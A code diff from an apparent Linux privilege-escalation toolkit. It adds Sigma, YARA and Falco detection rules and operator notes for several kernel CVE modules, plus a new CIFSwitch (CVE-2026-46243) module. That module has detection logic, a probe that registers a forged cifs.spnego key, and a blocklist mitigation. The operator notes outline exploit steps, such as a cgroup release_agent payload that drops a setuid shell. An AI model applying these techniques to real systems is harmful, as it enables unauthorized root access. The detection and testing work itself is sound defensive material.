+    "        $tag1 = \"iamroot-afp-tag\" ascii\n"
+    "        $tag2 = \"skeletonkey-afp-fc-\" ascii\n"
+    "    condition:\n"
+    "        any of them\n"
+    "}\n";
+
+static const char af_packet_falco[] =
+    "- rule: AF_PACKET TPACKET_V3 setup by non-root in userns\n"
+    "  desc: |\n"
+    "    A non-root process creates an AF_PACKET socket and sets up a\n"
+    "    TPACKET_V3 ring inside a user namespace. CVE-2017-7308 trigger\n"
+    "    requires CAP_NET_RAW which userns provides. False positives:\n"
+    "    legitimate packet-capture tools running rootless (rare).\n"
+    "  condition: >\n"
+    "    evt.type = setsockopt and evt.arg.optname contains PACKET_RX_RING\n"
+    "    and not user.uid = 0\n"
+    "  output: >\n"
+    "    AF_PACKET TPACKET_V3 ring setup by non-root\n"
+    "    (user=%user.name proc=%proc.name pid=%proc.pid)\n"
+    "  priority: HIGH\n"
+    "  tags: [network, mitre_privilege_escalation, T1068, cve.2017.7308]\n";
+
 const struct skeletonkey_module af_packet_module = {
     .name           = "af_packet",
     .cve            = "CVE-2017-7308",
@@ -902,9 +951,11 @@ const struct skeletonkey_module af_packet_module = {
     .mitigate       = NULL,
     .cleanup        = NULL,
     .detect_auditd  = af_packet_auditd,
-    .detect_sigma   = NULL,
-    .detect_yara    = NULL,
-    .detect_falco   = NULL,
+    .detect_sigma   = af_packet_sigma,
+    .detect_yara    = af_packet_yara,
+    .detect_falco   = af_packet_falco,
+    .opsec_notes    = "Creates AF_PACKET socket and TPACKET_V3 ring inside unshare(CLONE_NEWUSER|CLONE_NEWNET); triggers integer overflow with crafted tp_block_size/tp_block_nr and sprays ~200 loopback frames. Audit-visible via socket(AF_PACKET) (a0=17) + sendmmsg from a userns process; KASAN tag 'iamroot-afp-tag' may appear in dmesg if enabled. No persistent files. No cleanup callback - kernel state unwinds on child exit.",
+    .arch_support   = "x86_64+unverified-arm64",
 };
 
 void skeletonkey_register_af_packet(void)

modules/af_unix_gc_cve_2023_4622/skeletonkey_modules.c

@@ -105,6 +105,7 @@ static const struct kernel_patched_from af_unix_gc_patched_branches[] = {
     {5, 10, 197},
     {5, 15, 130},
     {6,  1,  51},   /* 6.1 LTS */
+    {6,  4,  13},   /* 6.4.x stable (per Debian tracker — forky/sid/trixie) */
     {6,  5,   0},   /* mainline fix landed in 6.5 (technically 6.6-rc1
                        but stable 6.5.x carries the patch) */
 };
@@ -832,6 +833,56 @@ static const char af_unix_gc_auditd[] =
     "-a always,exit -F arch=b64 -S sendmsg    -k skeletonkey-afunixgc-sendmsg\n"
     "-a always,exit -F arch=b64 -S msgsnd     -k skeletonkey-afunixgc-spray\n";
 
+static const char af_unix_gc_sigma[] =
+    "title: Possible CVE-2023-4622 AF_UNIX GC UAF race\n"
+    "id: c45d7eb3-skeletonkey-af-unix-gc\n"
+    "status: experimental\n"
+    "description: |\n"
+    "  Detects tight-loop socketpair(AF_UNIX) + sendmsg with SCM_RIGHTS\n"
+    "  + msgsnd grooming pattern characteristic of the AF_UNIX garbage\n"
+    "  collector race. False positives: legitimate IPC apps use\n"
+    "  SCM_RIGHTS, but the high-frequency close-and-recreate cycle is\n"
+    "  unusual outside fuzzing / exploit harnesses.\n"
+    "logsource: {product: linux, service: auditd}\n"
+    "detection:\n"
+    "  sp:    {type: 'SYSCALL', syscall: 'socketpair', a0: 1}\n"
+    "  scm:   {type: 'SYSCALL', syscall: 'sendmsg'}\n"
+    "  groom: {type: 'SYSCALL', syscall: 'msgsnd'}\n"
+    "  condition: sp and scm and groom\n"
+    "level: high\n"
+    "tags: [attack.privilege_escalation, attack.t1068, cve.2023.4622]\n";
+
+static const char af_unix_gc_yara[] =
+    "rule af_unix_gc_cve_2023_4622 : cve_2023_4622 kernel_uaf\n"
+    "{\n"
+    "    meta:\n"
+    "        cve         = \"CVE-2023-4622\"\n"
+    "        description = \"AF_UNIX GC race kmalloc-512 spray tag or log breadcrumb\"\n"
+    "        author      = \"SKELETONKEY\"\n"
+    "    strings:\n"
+    "        $tag = \"SKELETONKEYU\" ascii\n"
+    "        $log = \"/tmp/skeletonkey-af_unix_gc.log\" ascii\n"
+    "    condition:\n"
+    "        any of them\n"
+    "}\n";
+
+static const char af_unix_gc_falco[] =
+    "- rule: SCM_RIGHTS cycling on AF_UNIX with msg_msg groom\n"
+    "  desc: |\n"
+    "    Tight socketpair(AF_UNIX) + sendmsg(SCM_RIGHTS) + msgsnd\n"
+    "    pattern characteristic of the AF_UNIX garbage collector\n"
+    "    race (CVE-2023-4622). False positives: IPC libraries use\n"
+    "    SCM_RIGHTS legitimately but rarely with the close-and-\n"
+    "    recreate cycle at this frequency.\n"
+    "  condition: >\n"
+    "    evt.type = sendmsg and fd.sockfamily = AF_UNIX and\n"
+    "    not user.uid = 0\n"
+    "  output: >\n"
+    "    SCM_RIGHTS sendmsg on AF_UNIX by non-root\n"
+    "    (user=%user.name pid=%proc.pid)\n"
+    "  priority: HIGH\n"
+    "  tags: [ipc, mitre_privilege_escalation, T1068, cve.2023.4622]\n";
+
 const struct skeletonkey_module af_unix_gc_module = {
     .name           = "af_unix_gc",
     .cve            = "CVE-2023-4622",
@@ -843,9 +894,11 @@ const struct skeletonkey_module af_unix_gc_module = {
     .mitigate       = NULL,
     .cleanup        = af_unix_gc_cleanup,
     .detect_auditd  = af_unix_gc_auditd,
-    .detect_sigma   = NULL,
-    .detect_yara    = NULL,
-    .detect_falco   = NULL,
+    .detect_sigma   = af_unix_gc_sigma,
+    .detect_yara    = af_unix_gc_yara,
+    .detect_falco   = af_unix_gc_falco,
+    .opsec_notes    = "Two-threaded race: Thread A creates socketpair(AF_UNIX) with SCM_RIGHTS cycle then close; Thread B drives independent SCM_RIGHTS traffic on a held pair. ~5s budget (30s with --full-chain). msg_msg kmalloc-512 spray tagged 'SKELETONKEYU'. Writes /tmp/skeletonkey-af_unix_gc.log with empirical stats. Audit-visible via socketpair(AF_UNIX) + sendmsg(SCM_RIGHTS) + msgsnd triple. Dmesg may show UAF KASAN if kernel vulnerable. Cleanup callback unlinks the log.",
+    .arch_support   = "x86_64+unverified-arm64",
 };
 
 void skeletonkey_register_af_unix_gc(void)

modules/cgroup_release_agent_cve_2022_0492/skeletonkey_modules.c

@@ -65,7 +65,7 @@ static const struct kernel_patched_from cgroup_ra_patched_branches[] = {
     {5,  4, 179},
     {5, 10, 100},
     {5, 15,  23},
-    {5, 16,   9},
+    {5, 16,   7},   /* Debian tracker: earlier than 5.16.9 in stable */
     {5, 17,   0},   /* mainline */
 };
 
@@ -359,6 +359,36 @@ static const char cgroup_ra_sigma[] =
     "level: high\n"
     "tags: [attack.privilege_escalation, attack.t1611, cve.2022.0492]\n";
 
+static const char cgroup_release_agent_yara[] =
+    "rule cgroup_release_agent_cve_2022_0492 : cve_2022_0492 container_escape\n"
+    "{\n"
+    "    meta:\n"
+    "        cve         = \"CVE-2022-0492\"\n"
+    "        description = \"cgroup v1 release_agent payload + dropped setuid shell artifacts\"\n"
+    "        author      = \"SKELETONKEY\"\n"
+    "    strings:\n"
+    "        $payload = \"/tmp/skeletonkey-cgroup-payload.sh\" ascii\n"
+    "        $shell   = \"/tmp/skeletonkey-cgroup-sh\" ascii\n"
+    "        $mnt     = \"/tmp/skeletonkey-cgroup-mnt\" ascii\n"
+    "    condition:\n"
+    "        any of them\n"
+    "}\n";
+
+static const char cgroup_release_agent_falco[] =
+    "- rule: cgroup v1 mount by non-root with release_agent write\n"
+    "  desc: |\n"
+    "    A non-root process inside a userns mounts cgroup v1 and\n"
+    "    writes to a release_agent file. CVE-2022-0492 trigger:\n"
+    "    release_agent runs as init-ns root when cgroup empties.\n"
+    "  condition: >\n"
+    "    evt.type = mount and evt.arg.fstype = cgroup and\n"
+    "    not user.uid = 0\n"
+    "  output: >\n"
+    "    cgroup v1 mount by non-root\n"
+    "    (user=%user.name pid=%proc.pid target=%evt.arg.name)\n"
+    "  priority: CRITICAL\n"
+    "  tags: [container, mitre_privilege_escalation, T1611, cve.2022.0492]\n";
+
 const struct skeletonkey_module cgroup_release_agent_module = {
     .name           = "cgroup_release_agent",
     .cve            = "CVE-2022-0492",
@@ -371,8 +401,10 @@ const struct skeletonkey_module cgroup_release_agent_module = {
     .cleanup        = cgroup_ra_cleanup,
     .detect_auditd  = cgroup_ra_auditd,
     .detect_sigma   = cgroup_ra_sigma,
-    .detect_yara    = NULL,
-    .detect_falco   = NULL,
+    .detect_yara    = cgroup_release_agent_yara,
+    .detect_falco   = cgroup_release_agent_falco,
+    .opsec_notes    = "unshare(CLONE_NEWUSER|CLONE_NEWNS), mount cgroup v1 at /tmp/skeletonkey-cgroup-mnt, write payload path to release_agent file at cgroup root, echo 1 to notify_on_release in subdir, add PID to cgroup.procs and exit. Payload at /tmp/skeletonkey-cgroup-payload.sh runs as init-namespace root when cgroup empties, dropping setuid /tmp/skeletonkey-cgroup-sh. Audit-visible via unshare + mount(cgroup) + open/write of release_agent. Cleanup callback removes /tmp/skeletonkey-cgroup-* and umounts.",
+    .arch_support   = "x86_64+unverified-arm64",
 };
 
 void skeletonkey_register_cgroup_release_agent(void)

modules/cifswitch_cve_2026_46243/MODULE.md

@@ -0,0 +1,60 @@
+# cifswitch — CVE-2026-46243 ("CIFSwitch")
+
+The kernel's `cifs.spnego` request-key type trusts userspace-forged
+authority fields, letting the root `cifs.upcall` helper be coerced into
+loading an attacker NSS module as root.
+
+## The bug
+
+`fs/smb/client/cifs_spnego.c` registers the `cifs.spnego` key type so the
+kernel CIFS client can ask the root-privileged `cifs.upcall` helper to
+perform a SPNEGO/Kerberos exchange. The key *description* carries
+authority-bearing fields — `pid`, `uid`, `creduid`, `upcall_target` —
+that `cifs.upcall` reads as trusted, kernel-originating inputs.
+
+The flaw: the kernel never verified the request actually came from the
+in-kernel CIFS client. Userspace can create keys of this type directly
+through `add_key(2)` / `request_key(2)`, supplying all those fields. By
+forging a description and manipulating user + mount namespaces, an
+unprivileged user makes `cifs.upcall` trust attacker-controlled state and
+load a malicious NSS shared library as root → root code execution.
+
+## Affected range
+
+| | |
+|---|---|
+| Flaw age | ~19 years (predates key-type origin checks) |
+| Fixed upstream | commit `3da1fdf4efbc`, merged 7.1-rc5 |
+| Debian backports | 5.10.257 · 6.1.174 · 6.12.90 · 7.0.10 |
+| NVD class | CWE-20 (Improper Input Validation) |
+| CISA KEV | no (as of disclosure) |
+
+Branches Debian does not ship (5.15 / 6.6 / 6.8 / 6.11 …) are reported on
+the version-only verdict; confirm empirically.
+
+## Trigger / detection
+
+`detect()` returns `OK` for patched kernels, `PRECOND_FAIL` for a
+vulnerable kernel where `cifs.upcall` / the `cifs.spnego` request-key rule
+isn't installed (cifs-utils absent → unreachable), and `VULNERABLE` when
+both the version and the userspace path line up. The precondition probe
+can be overridden with `SKELETONKEY_CIFS_ASSUME_PRESENT=1` (force present)
+or `0` (force absent).
+
+`exploit()` fires the non-destructive primitive: `add_key(2)` of a
+forged-but-benign `cifs.spnego` key (no upcall, loads nothing), revoked
+immediately. A clean accept is the witness that userspace can forge the
+authority-bearing key type. The full root-pop (namespace switch +
+malicious NSS load) is **not** bundled until VM-verified — honest
+`EXPLOIT_FAIL` without a euid-0 witness.
+
+## Fix / mitigation
+
+Upgrade the kernel. As a runtime stopgap, blocklist the `cifs` module —
+`--mitigate` writes `/etc/modprobe.d/skeletonkey-disable-cifs.conf`
+(needs root) and `--cleanup` removes it. Already-loaded `cifs` persists
+until unmount + `rmmod cifs` or reboot.
+
+## Credit
+
+Asim Manizada (2026-05-28). See `NOTICE.md`.

modules/cifswitch_cve_2026_46243/NOTICE.md

@@ -0,0 +1,92 @@
+# NOTICE — cifswitch (CVE-2026-46243, "CIFSwitch")
+
+## Vulnerability
+
+**CVE-2026-46243 "CIFSwitch"** — the Linux kernel's `cifs.spnego`
+request-key type (`fs/smb/client/cifs_spnego.c`) accepts key descriptions
+created by **userspace** (via `add_key(2)` / `request_key(2)`) without
+verifying that the request originated from the in-kernel CIFS client. The
+key description carries authority-bearing fields — `pid`, `uid`,
+`creduid`, `upcall_target` — that the root-privileged `cifs.upcall`
+helper treats as trusted, kernel-originating inputs. An unprivileged
+local user forges such a description and, combined with user + mount
+namespace manipulation, coerces `cifs.upcall` into loading an
+attacker-controlled NSS shared library as root → local privilege
+escalation to root.
+
+It is a **~19-year-old** logic flaw — the cifs spnego upcall predates the
+key-type origin checks added to the keyrings subsystem later. NVD class:
+**CWE-20** (Improper Input Validation). Not in CISA KEV (as of disclosure).
+
+**Preconditions:** the `cifs` kernel module available, `cifs-utils`
+installed (so `cifs.upcall` is present), and the `cifs.spnego`
+request-key rule active. Default-vulnerable distributions reported
+include Linux Mint, CentOS Stream 9, Rocky Linux 9, AlmaLinux 9, Kali
+Linux, SLES 15 SP7, and Red Hat Enterprise Linux 6–10.
+
+## Research credit
+
+Discovered, named, and disclosed by **Asim Manizada** on **2026-05-28**,
+with a working proof-of-concept published the same day.
+
+- Red Hat advisory (RHSB-2026-005):
+  <https://access.redhat.com/security/vulnerabilities/RHSB-2026-005>
+- BleepingComputer write-up:
+  <https://www.bleepingcomputer.com/news/security/new-cifswitch-linux-flaw-gives-root-on-multiple-distributions/>
+- Upstream fix: commit `3da1fdf4efbc490041eb4f836bf596201203f8f2`
+  ("smb: client: reject userspace cifs.spnego descriptions"), merged
+  7.1-rc5.
+- Debian-tracked stable backports: 5.10.257 (bullseye) / 6.1.174
+  (bookworm) / 6.12.90 (trixie) / 7.0.10 (forky, sid).
+
+All research credit for finding and analysing this bug belongs to Asim
+Manizada. SKELETONKEY is the bundling and bookkeeping layer only.
+
+## SKELETONKEY role
+
+🟡 **Primitive / ported-from-disclosure — not yet VM-verified.**
+`detect()` gates on the kernel version (the Debian backport thresholds
+above) **and** the presence of the vulnerable userspace path
+(`cifs.upcall` / the `cifs.spnego` request-key rule) — a vulnerable
+kernel without `cifs-utils` is reported `PRECOND_FAIL`, not `VULNERABLE`.
+Override the probe with `SKELETONKEY_CIFS_ASSUME_PRESENT=1` (or `0`).
+
+`exploit()` fires only the reachable, **non-destructive** part of the
+primitive: it attempts to register a forged-but-benign `cifs.spnego` key
+as the unprivileged user via `add_key(2)` — which instantiates the key
+directly and does **not** invoke `cifs.upcall`, so it loads nothing and
+spawns no privileged helper — and revokes the key immediately. A clean
+accept is the empirical witness that the missing-origin-validation flaw
+is present. It then **stops**: the namespace-switch + malicious-NSS-load
+chain that actually lands a root shell is target/config-specific and is
+**not** bundled until it can be verified end-to-end against a real
+vulnerable VM, in keeping with the project's no-fabrication rule.
+`exploit()` returns `EXPLOIT_FAIL` unless it can witness euid 0.
+
+`--mitigate` writes `/etc/modprobe.d/skeletonkey-disable-cifs.conf`
+(blocklists the `cifs` module — the vendor-recommended runtime
+mitigation); `--cleanup` removes it. Architecture-agnostic — keyring and
+namespace logic, no shellcode.
+
+## Verification status (partial)
+
+Verified **2026-06-08** on **Ubuntu 24.04.4 LTS, kernel 6.8.0-117-generic**
+(QEMU/HVF, x86_64):
+
+- `modprobe cifs` registers the `cifs.spnego` key type (dmesg:
+  `Key type cifs.spnego registered`) — `cifs-utils` is **not** required to
+  reach the primitive.
+- An **independent** `python3` `ctypes` probe calling
+  `add_key("cifs.spnego", <forged uid/creduid/upcall_target>)` was
+  **ACCEPTED** (a plain `user`-key control was also accepted), and the
+  module's own `exploit()` independently reported **primitive CONFIRMED**
+  then the honest `EXPLOIT_FAIL`.
+- `detect()` returned `PRECOND_FAIL` with `cifs-utils` absent and
+  `VULNERABLE` under `SKELETONKEY_CIFS_ASSUME_PRESENT=1`.
+
+**Still pending** (so this stays 🟡 and is *not* counted as a verified
+end-to-end CVE): (a) confirming `add_key` is **rejected** on a *patched*
+kernel (≥ 6.12.90 / 7.0.10) — i.e. that the probe distinguishes
+fixed-from-vulnerable rather than the key type always permitting userspace
+creation; and (b) the full namespace + malicious-NSS root-pop, which
+remains unbundled.

modules/cifswitch_cve_2026_46243/skeletonkey_modules.c

@@ -0,0 +1,419 @@
+/*
+ * cifswitch_cve_2026_46243 — SKELETONKEY module
+ *
+ * CVE-2026-46243 "CIFSwitch" — the kernel's `cifs.spnego` request-key
+ * type accepts key descriptions created by *userspace* (via add_key(2) /
+ * request_key(2)) without verifying the request originated from the
+ * in-kernel CIFS client. Those descriptions carry authority-bearing
+ * fields (`pid`, `uid`, `creduid`, `upcall_target`) that the
+ * root-privileged `cifs.upcall` helper trusts as kernel-originating.
+ * An unprivileged user forges a description and — combined with user +
+ * mount namespace manipulation — coerces `cifs.upcall` into loading an
+ * attacker-controlled NSS shared library as root → local root.
+ *
+ * Disclosed by Asim Manizada, 2026-05-28 (public PoC same day). A
+ * ~19-year-old bug: the cifs spnego upcall predates the key-type origin
+ * checks added later. Fixed upstream by commit 3da1fdf4efbc (merged
+ * 7.1-rc5): "smb: client: reject userspace cifs.spnego descriptions".
+ * NVD: CWE-20 (Improper Input Validation). Not in CISA KEV.
+ *
+ * STATUS: 🟡 PRIMITIVE / ported-from-disclosure, NOT yet VM-verified.
+ *   Structural logic flaw — no offsets, no race, no shellcode. detect()
+ *   gates on (a) the kernel version (Debian-tracked backports below) and
+ *   (b) the presence of the vulnerable userspace path: the `cifs.upcall`
+ *   helper / `cifs.spnego` request-key rule. A vulnerable kernel without
+ *   cifs-utils is not reachable via this technique, so that case is
+ *   PRECOND_FAIL, not VULNERABLE. exploit() fires the reachable,
+ *   non-destructive part of the primitive — it attempts to register a
+ *   forged-but-benign `cifs.spnego` key as the unprivileged user (via
+ *   add_key(2), which does NOT invoke cifs.upcall) and observes whether
+ *   the kernel accepts a userspace-originated description — then STOPS.
+ *   The namespace-switch + malicious-NSS-load that turns that into a
+ *   root shell is target/config-specific and is not bundled until it can
+ *   be VM-verified end-to-end. Honest EXPLOIT_FAIL without a euid-0
+ *   witness; never fabricates root.
+ *
+ * Affected range (Debian-tracked stable backports of the fix):
+ *   5.10.x : K >= 5.10.257  (bullseye)
+ *   6.1.x  : K >= 6.1.174   (bookworm)
+ *   6.12.x : K >= 6.12.90   (trixie)
+ *   7.0.x  : K >= 7.0.10    (forky / sid); mainline fixed 7.1-rc5
+ *   Branches Debian doesn't track (5.15 / 6.6 / 6.8 / 6.11 ...) fall
+ *   through to the version-only verdict — confirm empirically.
+ *
+ * Preconditions: cifs kernel module available + cifs-utils installed
+ *   (`cifs.upcall` present) + the `cifs.spnego` request-key rule active.
+ *   Override the precondition probe with SKELETONKEY_CIFS_ASSUME_PRESENT
+ *   = 1 (force present) / 0 (force absent) when you know the fleet's CIFS
+ *   posture better than a local file probe can (also drives unit tests).
+ *
+ * arch_support: any. Keyring + namespace logic; no shellcode.
+ */
+
+#include "skeletonkey_modules.h"
+#include "../../core/registry.h"
+
+/* _GNU_SOURCE is passed via -D in the top-level Makefile; do not
+ * redefine here (warning: redefined). */
+
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <stdbool.h>
+#include <unistd.h>
+
+#ifdef __linux__
+
+#include "../../core/kernel_range.h"
+#include "../../core/host.h"
+#include <errno.h>
+#include <fcntl.h>
+#include <sys/stat.h>
+#include <sys/syscall.h>
+#include <sys/types.h>
+
+/* keyring syscalls live in libkeyutils, not glibc — call them directly.
+ * The asm-generic numbers below match x86_64 / arm64 / most arches; fall
+ * back only when the toolchain headers don't already define them. */
+#ifndef SYS_add_key
+#define SYS_add_key 248
+#endif
+#ifndef SYS_keyctl
+#define SYS_keyctl 250
+#endif
+
+/* keyctl operations + special keyring ids (uapi/linux/keyctl.h). */
+#ifndef KEYCTL_REVOKE
+#define KEYCTL_REVOKE 3
+#endif
+#ifndef KEY_SPEC_PROCESS_KEYRING
+#define KEY_SPEC_PROCESS_KEYRING (-2)
+#endif
+
+typedef int sk_key_serial_t;
+
+static sk_key_serial_t sk_add_key(const char *type, const char *desc,
+                                  const void *payload, size_t plen,
+                                  sk_key_serial_t keyring)
+{
+    return (sk_key_serial_t)syscall(SYS_add_key, type, desc,
+                                    payload, plen, keyring);
+}
+static long sk_keyctl_revoke(sk_key_serial_t key)
+{
+    return syscall(SYS_keyctl, (long)KEYCTL_REVOKE, (long)key, 0L, 0L, 0L);
+}
+
+/* Debian-tracked stable backports of the 2026 fix (commit 3da1fdf4efbc,
+ * mainline 7.1-rc5). These are the authoritative thresholds
+ * (security-tracker.debian.org). Branches Debian doesn't ship fall
+ * through to the version-only verdict in detect(). */
+static const struct kernel_patched_from cifswitch_patched_branches[] = {
+    {5, 10, 257},  /* 5.10-LTS backport (Debian bullseye) */
+    {6,  1, 174},  /* 6.1-LTS  backport (Debian bookworm) */
+    {6, 12,  90},  /* 6.12-LTS backport (Debian trixie) */
+    {7,  0,  10},  /* 7.0 stable        (Debian forky / sid) */
+};
+
+static const struct kernel_range cifswitch_range = {
+    .patched_from = cifswitch_patched_branches,
+    .n_patched_from = sizeof(cifswitch_patched_branches) /
+                      sizeof(cifswitch_patched_branches[0]),
+};
+
+/* Is the vulnerable userspace path present? The load-bearing signal is
+ * the cifs.upcall helper (the privileged component the bug abuses); the
+ * cifs.spnego request-key rule and a loaded/loadable cifs module
+ * corroborate. SKELETONKEY_CIFS_ASSUME_PRESENT overrides the probe:
+ * "1" = present, "0" = absent (operators who know their fleet's CIFS
+ * posture, and the unit tests, use this). */
+static bool cifs_userspace_present(void)
+{
+    const char *force = getenv("SKELETONKEY_CIFS_ASSUME_PRESENT");
+    if (force && (force[0] == '1' || force[0] == '0'))
+        return force[0] == '1';
+
+    struct stat st;
+    static const char *upcall_paths[] = {
+        "/usr/sbin/cifs.upcall", "/sbin/cifs.upcall",
+        "/usr/bin/cifs.upcall", "/usr/local/sbin/cifs.upcall", NULL,
+    };
+    for (size_t i = 0; upcall_paths[i]; i++)
+        if (stat(upcall_paths[i], &st) == 0)
+            return true;
+
+    /* request-key rule for cifs.spnego (cifs-utils ships this). */
+    static const char *reqkey_paths[] = {
+        "/etc/request-key.d/cifs.spnego.conf",
+        "/usr/share/request-key.d/cifs.spnego.conf", NULL,
+    };
+    for (size_t i = 0; reqkey_paths[i]; i++)
+        if (stat(reqkey_paths[i], &st) == 0)
+            return true;
+
+    return false;
+}
+
+static skeletonkey_result_t cifswitch_detect(const struct skeletonkey_ctx *ctx)
+{
+    const struct kernel_version *v = ctx->host ? &ctx->host->kernel : NULL;
+    if (!v || v->major == 0) {
+        if (!ctx->json)
+            fprintf(stderr, "[!] cifswitch: host fingerprint missing kernel "
+                    "version — bailing\n");
+        return SKELETONKEY_TEST_ERROR;
+    }
+
+    /* A patched kernel is not vulnerable regardless of the userspace
+     * path — decide that first so the verdict is deterministic. */
+    if (kernel_range_is_patched(&cifswitch_range, v)) {
+        if (!ctx->json)
+            fprintf(stderr, "[+] cifswitch: kernel %s is patched "
+                            "(version-only check)\n", v->release);
+        return SKELETONKEY_OK;
+    }
+
+    /* Vulnerable kernel. Exploitation needs the cifs.upcall userspace
+     * path; without it the technique is unreachable here. */
+    if (!cifs_userspace_present()) {
+        if (!ctx->json) {
+            fprintf(stderr, "[i] cifswitch: kernel %s is in the vulnerable "
+                            "range but cifs.upcall / cifs.spnego request-key "
+                            "rule not found — cifs-utils not installed, bug "
+                            "not reachable here\n", v->release);
+            fprintf(stderr, "[i] cifswitch: if you know this fleet uses CIFS, "
+                            "re-run with SKELETONKEY_CIFS_ASSUME_PRESENT=1\n");
+        }
+        return SKELETONKEY_PRECOND_FAIL;
+    }
+
+    if (!ctx->json) {
+        fprintf(stderr, "[!] cifswitch: kernel %s VULNERABLE and cifs.upcall "
+                        "present — CVE-2026-46243 reachable\n", v->release);
+        fprintf(stderr, "[i] cifswitch: userspace can forge cifs.spnego key "
+                        "descriptions (pid/uid/creduid/upcall_target) the root "
+                        "cifs.upcall helper trusts\n");
+        fprintf(stderr, "[i] cifswitch: branches Debian doesn't track "
+                        "(5.15/6.6/6.8/6.11) are version-only here; confirm with "
+                        "`--exploit cifswitch --i-know`\n");
+    }
+    return SKELETONKEY_VULNERABLE;
+}
+
+static skeletonkey_result_t cifswitch_exploit(const struct skeletonkey_ctx *ctx)
+{
+    if (!ctx->authorized) {
+        fprintf(stderr, "[-] cifswitch: --i-know required for --exploit\n");
+        return SKELETONKEY_EXPLOIT_FAIL;
+    }
+    skeletonkey_result_t pre = cifswitch_detect(ctx);
+    if (pre != SKELETONKEY_VULNERABLE) {
+        fprintf(stderr, "[-] cifswitch: detect() says not vulnerable/reachable; "
+                        "refusing\n");
+        return pre;
+    }
+    bool is_root = ctx->host ? ctx->host->is_root : (geteuid() == 0);
+    if (is_root) {
+        fprintf(stderr, "[i] cifswitch: already running as root — nothing to do\n");
+        return SKELETONKEY_OK;
+    }
+
+    /* Reachable, non-destructive primitive witness: can we, as an
+     * unprivileged user, register a cifs.spnego key carrying the
+     * authority-bearing fields? add_key(2) instantiates the key directly
+     * — it does NOT invoke cifs.upcall (that is request_key's upcall
+     * path), so this loads nothing and triggers no privileged helper. On
+     * a VULNERABLE kernel the type accepts the userspace-originated
+     * description; the fix (3da1fdf4efbc) rejects it. We revoke any key
+     * we create immediately. A clean accept is the empirical signal that
+     * the missing-origin-validation flaw is present; any error is treated
+     * as inconclusive (could be patched, or add_key unsupported for the
+     * type) and reported honestly — we never infer root from it. */
+    const char *desc =
+        "ver=0x2;host=skeletonkey-probe;ip4=127.0.0.1;sec=krb5;"
+        "uid=0x0;creduid=0x0;user=skprobe;pid=0x0";
+    errno = 0;
+    sk_key_serial_t k = sk_add_key("cifs.spnego", desc, "\x00", 1,
+                                   KEY_SPEC_PROCESS_KEYRING);
+    if (k > 0) {
+        sk_keyctl_revoke(k);   /* don't leave the probe key lying around */
+        fprintf(stderr,
+            "[!] cifswitch: primitive CONFIRMED — kernel accepted a "
+            "userspace-forged cifs.spnego key (serial %d) carrying "
+            "uid/creduid/upcall_target. CVE-2026-46243 reachable.\n", k);
+        fprintf(stderr,
+            "[i] cifswitch: the full root-pop (user+mount namespace switch "
+            "coercing cifs.upcall to load an attacker NSS module as root) is "
+            "target/config-specific and NOT bundled until VM-verified. Not "
+            "fabricating a shell. See module NOTICE.md (Asim Manizada PoC).\n");
+        return SKELETONKEY_EXPLOIT_FAIL;
+    }
+
+    if (errno == ENOSYS) {
+        fprintf(stderr, "[-] cifswitch: add_key(2) ENOSYS — keyrings "
+                        "unavailable in this kernel build\n");
+        return SKELETONKEY_PRECOND_FAIL;
+    }
+    fprintf(stderr,
+        "[-] cifswitch: kernel did not accept a userspace-forged cifs.spnego "
+        "key (add_key: %s). Inconclusive — the kernel may carry the fix "
+        "(3da1fdf4efbc rejects userspace descriptions), or the key type may "
+        "not permit direct add_key here. detect() reported the version+helper "
+        "as vulnerable; verify against a known-vulnerable VM.\n",
+        strerror(errno));
+    return SKELETONKEY_EXPLOIT_FAIL;
+}
+
+/* Mitigation: the vendor-recommended runtime fix is to blocklist the
+ * cifs module so the vulnerable upcall path cannot be reached. We write
+ * a modprobe.d blocklist (needs root; persists across reboot and blocks
+ * future autoload). We do not force-unload a possibly-mounted cifs. The
+ * real fix is the kernel patch. --cleanup removes the blocklist file. */
+#define CIFSWITCH_BLOCKLIST "/etc/modprobe.d/skeletonkey-disable-cifs.conf"
+
+static skeletonkey_result_t cifswitch_mitigate(const struct skeletonkey_ctx *ctx)
+{
+    int fd = open(CIFSWITCH_BLOCKLIST, O_WRONLY | O_CREAT | O_TRUNC, 0644);
+    if (fd < 0) {
+        fprintf(stderr, "[-] cifswitch: cannot write %s: %s "
+                        "(need root: run as root, or "
+                        "`echo 'blacklist cifs' | sudo tee %s`)\n",
+                CIFSWITCH_BLOCKLIST, strerror(errno), CIFSWITCH_BLOCKLIST);
+        return SKELETONKEY_PRECOND_FAIL;
+    }
+    static const char body[] =
+        "# Added by SKELETONKEY --mitigate cifswitch (CVE-2026-46243).\n"
+        "# Blocklists the cifs module so the vulnerable cifs.spnego upcall\n"
+        "# path cannot be reached. Remove via `--cleanup cifswitch`.\n"
+        "blacklist cifs\n"
+        "install cifs /bin/false\n";
+    ssize_t w = write(fd, body, sizeof body - 1);
+    close(fd);
+    if (w != (ssize_t)(sizeof body - 1)) {
+        fprintf(stderr, "[-] cifswitch: short write to %s\n", CIFSWITCH_BLOCKLIST);
+        return SKELETONKEY_EXPLOIT_FAIL;
+    }
+    fprintf(stderr, "[+] cifswitch: wrote %s (blocklist cifs). Already-loaded "
+                    "cifs stays until unmounted+`rmmod cifs` or reboot. This is "
+                    "a stopgap; patch the kernel. Revert: `--cleanup cifswitch`.\n",
+            CIFSWITCH_BLOCKLIST);
+    (void)ctx;
+    return SKELETONKEY_OK;
+}
+
+static skeletonkey_result_t cifswitch_cleanup(const struct skeletonkey_ctx *ctx)
+{
+    if (unlink(CIFSWITCH_BLOCKLIST) == 0) {
+        if (!ctx->json)
+            fprintf(stderr, "[*] cifswitch: removed %s\n", CIFSWITCH_BLOCKLIST);
+    } else if (errno != ENOENT) {
+        fprintf(stderr, "[-] cifswitch: could not remove %s: %s\n",
+                CIFSWITCH_BLOCKLIST, strerror(errno));
+    }
+    return SKELETONKEY_OK;
+}
+
+#else  /* !__linux__ */
+
+/* Non-Linux dev builds: keyrings, cifs.upcall and modprobe are all
+ * Linux-only. Stub so the module still registers and `make` completes on
+ * macOS/BSD dev boxes. */
+static skeletonkey_result_t cifswitch_detect(const struct skeletonkey_ctx *ctx)
+{
+    if (!ctx->json)
+        fprintf(stderr, "[i] cifswitch: Linux-only module "
+                "(cifs.spnego keyring trust) — not applicable here\n");
+    return SKELETONKEY_PRECOND_FAIL;
+}
+static skeletonkey_result_t cifswitch_exploit(const struct skeletonkey_ctx *ctx)
+{
+    (void)ctx;
+    fprintf(stderr, "[-] cifswitch: Linux-only module — cannot run here\n");
+    return SKELETONKEY_PRECOND_FAIL;
+}
